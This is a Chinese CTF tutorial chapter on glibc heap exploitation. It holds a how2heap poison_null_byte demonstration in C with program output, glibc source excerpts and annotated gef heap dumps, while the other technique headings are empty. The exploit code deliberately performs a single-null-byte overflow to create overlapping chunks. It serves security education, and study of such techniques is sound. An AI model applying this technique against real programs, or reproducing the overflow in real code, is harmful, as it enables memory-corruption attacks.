CTF-All-In-One/doc/3.3.6_heap_exploit_2.md

3.3.6 Linux 堆利用（中）

• how2heap
  • poison_null_byte
  • house_of_lore
  • overlapping_chunks
  • overlapping_chunks_2
  • house_of_force
  • unsorted_bin_attack
  • house_of_einherjar
  • house_of_orange

下载文件

poison_null_byte

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main() {
    uint8_t *a, *b, *c, *b1, *b2, *d;

    a = (uint8_t*) malloc(0x10);
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
    fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);

    b = (uint8_t*) malloc(0x100);
    c = (uint8_t*) malloc(0x80);
    fprintf(stderr, "b: %p\n", b);
    fprintf(stderr, "c: %p\n", c);

    uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
    *(size_t*)(b+0xf0) = 0x100;
    fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
    
    // deal with tcache
    // int *k[10], i;
    // for (i = 0; i < 7; i++) {
    //     k[i] = malloc(0x100);
    // }
    // for (i = 0; i < 7; i++) {
    //     free(k[i]);
    // }
    free(b);
    uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
    fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);

    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);

    fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x80);
    memset(b1, 'A', 0x80);
    fprintf(stderr, "We malloc 'b1': %p\n", b1);
    fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
    fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));

    b2 = malloc(0x40);
    memset(b2, 'A', 0x40);
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);

    // deal with tcache
    // for (i = 0; i < 7; i++) {
    //     k[i] = malloc(0x80);
    // }
    // for (i = 0; i < 7; i++) {
    //     free(k[i]);
    // }
    free(b1);
    free(c);
    fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

    d = malloc(0x110);
    fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);

    fprintf(stderr, "b2 content:%s\n", b2);
    memset(d, 'B', 0xb0);
    fprintf(stderr, "New b2 content:%s\n", b2);
}

$ gcc -g poison_null_byte.c 
$ ./a.out 
We allocate 0x10 bytes for 'a': 0xabb010
'real' size of 'a': 0x18
b: 0xabb030
c: 0xabb140
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0x110
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
We malloc 'b1': 0xabb030
c.prev_size: 0x110
fake c.prev_size: 0x70

We malloc 'b2', our 'victim' chunk: 0xabb0c0
Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2': 0xabb030

b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。

首先分配三个 chunk，第一个 chunk 类型无所谓，但后两个不能是 fast chunk，因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出，去覆盖 chunk b 的第一个字节，chunk c 的作用是帮助伪造 fake chunk。

首先是溢出，那么就需要知道一个堆块实际可用的内存大小（因为空间复用，可能会比分配时要大一点），用于获得该大小的函数 malloc_usable_size 如下：

/*
   ------------------------- malloc_usable_size -------------------------
 */
static size_t
musable (void *mem)
{
  mchunkptr p;
  if (mem != 0)
    {
      p = mem2chunk (mem);

      [...]
      if (chunk_is_mmapped (p))
        return chunksize (p) - 2 * SIZE_SZ;
      else if (inuse (p))
        return chunksize (p) - SIZE_SZ;
    }
  return 0;
}

/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* extract p's inuse bit */
#define inuse(p)							      \
  ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
/* Get size, ignoring use bits */
#define chunksize(p)         ((p)->size & ~(SIZE_BITS))

所以 real_a_size = chunksize(a) - 0x8 == 0x18。另外需要注意的是程序是通过 next chunk 的 PREV_INUSE 标志来判断某 chunk 是否被使用的。

为了在修改 chunk b 的 size 字段后，依然能通过 unlink 的检查，我们需要伪造一个 c.prev_size 字段，字段的大小是很好计算的，即 0x100 == (0x111 & 0xff00)，正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉，chunk b 随后被放到 unsorted bin 中，大小是 0x110。此时的堆布局如下：

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000111  <-- chunk b [be freed]
0x603030:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000000000	0x0000000000000000
0x603070:	0x0000000000000000	0x0000000000000000
0x603080:	0x0000000000000000	0x0000000000000000
0x603090:	0x0000000000000000	0x0000000000000000
0x6030a0:	0x0000000000000000	0x0000000000000000
0x6030b0:	0x0000000000000000	0x0000000000000000
0x6030c0:	0x0000000000000000	0x0000000000000000
0x6030d0:	0x0000000000000000	0x0000000000000000
0x6030e0:	0x0000000000000000	0x0000000000000000
0x6030f0:	0x0000000000000000	0x0000000000000000
0x603100:	0x0000000000000000	0x0000000000000000
0x603110:	0x0000000000000000	0x0000000000000000
0x603120:	0x0000000000000100	0x0000000000000000      <-- fake c.prev_size
0x603130:	0x0000000000000110	0x0000000000000090  <-- chunk c
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted 
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
 →   Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)

最关键的一步，通过溢出漏洞覆写 chunk b 的数据：

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000100  <-- chunk b [be freed]
0x603030:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000000000	0x0000000000000000
0x603070:	0x0000000000000000	0x0000000000000000
0x603080:	0x0000000000000000	0x0000000000000000
0x603090:	0x0000000000000000	0x0000000000000000
0x6030a0:	0x0000000000000000	0x0000000000000000
0x6030b0:	0x0000000000000000	0x0000000000000000
0x6030c0:	0x0000000000000000	0x0000000000000000
0x6030d0:	0x0000000000000000	0x0000000000000000
0x6030e0:	0x0000000000000000	0x0000000000000000
0x6030f0:	0x0000000000000000	0x0000000000000000
0x603100:	0x0000000000000000	0x0000000000000000
0x603110:	0x0000000000000000	0x0000000000000000
0x603120:	0x0000000000000100	0x0000000000000000      <-- fake c.prev_size
0x603130:	0x0000000000000110	0x0000000000000090  <-- chunk c
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted 
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
 →   Chunk(addr=0x603030, size=0x100, flags=)

这时，根据我们上一篇文字中讲到的计算方法：

• chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100
• prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100

可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。

接下来随意分配两个 chunk，malloc 会从 unsorted bin 中划出合适大小的内存返回给用户：

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000091  <-- chunk b1  <-- fake chunk b
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x4141414141414141	0x4141414141414141
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000000051  <-- chunk b2  <-- 'victim' chunk
0x6030c0:	0x4141414141414141	0x4141414141414141
0x6030d0:	0x4141414141414141	0x4141414141414141
0x6030e0:	0x4141414141414141	0x4141414141414141
0x6030f0:	0x4141414141414141	0x4141414141414141
0x603100:	0x0000000000000000	0x0000000000000021  <-- unsorted bin
0x603110:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603120:	0x0000000000000020	0x0000000000000000      <-- fake c.prev_size
0x603130:	0x0000000000000110	0x0000000000000090  <-- chunk c
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted 
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

这里有个很有趣的东西，分配堆块后，发生变化的是 fake c.prev_size，而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。

接下来是见证奇迹的时刻，我们知道，两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1，伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c，这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk，然后就将它们合并在了一起，并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间，被直接无视了，现在 malloc 认为这整块区域都是未分配的，新的 top chunk 指针已经说明了一切。

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000020fe1  <-- top chunk
0x603030:	0x0000000000603100	0x00007ffff7dd1b78
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x4141414141414141	0x4141414141414141
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000090	0x0000000000000050  <-- chunk b2  <-- 'victim' chunk
0x6030c0:	0x4141414141414141	0x4141414141414141
0x6030d0:	0x4141414141414141	0x4141414141414141
0x6030e0:	0x4141414141414141	0x4141414141414141
0x6030f0:	0x4141414141414141	0x4141414141414141
0x603100:	0x0000000000000000	0x0000000000000021  <-- unsorted bin
0x603110:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603120:	0x0000000000000020	0x0000000000000000
0x603130:	0x0000000000000110	0x0000000000000090
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted 
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

chunk 合并的过程如下，首先该 chunk 与前一个 chunk 合并，然后检查下一个 chunk 是否为 top chunk，如果不是，将合并后的 chunk 放回 unsorted bin 中，否则，合并进 top chunk：

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

    if (nextchunk != av->top) {
    /*
  Place the chunk in unsorted chunk list. Chunks are
  not placed into regular bins until after they have
  been given one chance to be used in malloc.
    */
      [...]
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }

接下来，申请一块大空间，大到可以把 chunk b2 包含进来，这样 chunk b2 就完全被我们控制了。

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000121  <-- chunk d
0x603030:	0x4242424242424242	0x4242424242424242
0x603040:	0x4242424242424242	0x4242424242424242
0x603050:	0x4242424242424242	0x4242424242424242
0x603060:	0x4242424242424242	0x4242424242424242
0x603070:	0x4242424242424242	0x4242424242424242
0x603080:	0x4242424242424242	0x4242424242424242
0x603090:	0x4242424242424242	0x4242424242424242
0x6030a0:	0x4242424242424242	0x4242424242424242
0x6030b0:	0x4242424242424242	0x4242424242424242  <-- chunk b2  <-- 'victim' chunk
0x6030c0:	0x4242424242424242	0x4242424242424242
0x6030d0:	0x4242424242424242	0x4242424242424242
0x6030e0:	0x4141414141414141	0x4141414141414141
0x6030f0:	0x4141414141414141	0x4141414141414141
0x603100:	0x0000000000000000	0x0000000000000021  <-- small bins
0x603110:	0x00007ffff7dd1b88	0x00007ffff7dd1b88      <-- fd, bk pointer
0x603120:	0x0000000000000020	0x0000000000000000
0x603130:	0x0000000000000110	0x0000000000000090
0x603140:	0x0000000000000000	0x0000000000020ec1  <-- top chunk
gef➤  heap bins small 
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

还有个事情值得注意，在分配 chunk d 时，由于在 unsorted bin 中没有找到适合的 chunk，malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了，这里就是 small bins。

最后，继续看 libc-2.26 上的情况，还是一样的，处理好 tchache 就可以了，把两种大小的 tcache bin 都占满。

heap-buffer-overflow，但不知道为什么，加了内存检测参数后，real size 只能是正常的 0x10 了。

$ gcc -fsanitize=address -g poison_null_byte.c
$ ./a.out 
We allocate 0x10 bytes for 'a': 0x60200000eff0
'real' size of 'a': 0x10
b: 0x611000009f00
c: 0x60c00000bf80
=================================================================
==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990
READ of size 8 at 0x611000009ef8 thread T0
    #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22
    #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)

0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)
allocated by thread T0 here:
    #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15
    #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

house_of_lore

overlapping_chunks

overlapping_chunks_2

house_of_force

unsorted_bin_attack

house_of_einherjar

house_of_orange